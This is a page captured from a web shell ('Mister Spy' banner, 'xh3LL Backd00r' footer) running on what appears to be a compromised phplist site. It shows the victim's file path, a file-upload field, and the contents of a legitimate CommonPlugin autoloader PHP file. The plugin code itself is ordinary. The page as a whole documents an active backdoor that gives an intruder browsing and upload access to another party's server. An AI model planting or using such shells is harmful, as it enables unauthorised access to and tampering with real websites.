Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/Autoloader.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2014 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */


/**
 * Convenience function to create and register the class loader
 * 
 */
include dirname(__FILE__) . '/SplClassLoader.php';

function CommonPlugin_Autoloader_main()
{
    global $systemroot;

    if (PLUGIN_ROOTDIRS != '') {
        foreach (explode(';',PLUGIN_ROOTDIRS) as $dir) {
            $loader = new SplClassLoader(null, $dir);
            $loader->register();
        }
    }

    if (CommonPlugin_Autoloader_isAbsolutePath(PLUGIN_ROOTDIR)) {
        $pluginDir = PLUGIN_ROOTDIR;
    } else {
        $pluginDir = $systemroot . '/' . PLUGIN_ROOTDIR;
    }
    $loader = new SplClassLoader(null, $pluginDir);
    $loader->register();

    $iterator = new DirectoryIterator(dirname(__FILE__) . '/ext');
    
    foreach ($iterator as $file) {
        if ($file->isDir() && !$file->isDot()) {
            $loader = new SplClassLoader(null, $file->getPathname());
            $loader->register();
        }
    }

    $iterator = new DirectoryIterator(dirname(__FILE__) . '/vendor');
    
    foreach ($iterator as $file) {
        if ($file->isDir() && !$file->isDot()) {
            $loader = new SplClassLoader($file->getFilename(), dirname(__FILE__) . '/vendor');
            $loader->register();
        }
    }
}

function CommonPlugin_Autoloader_isAbsolutePath($path)
{
    return preg_match('@^(?:/|\\\\|\w:\\\\|\w:/)@', $path);
}

CommonPlugin_Autoloader_main();

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat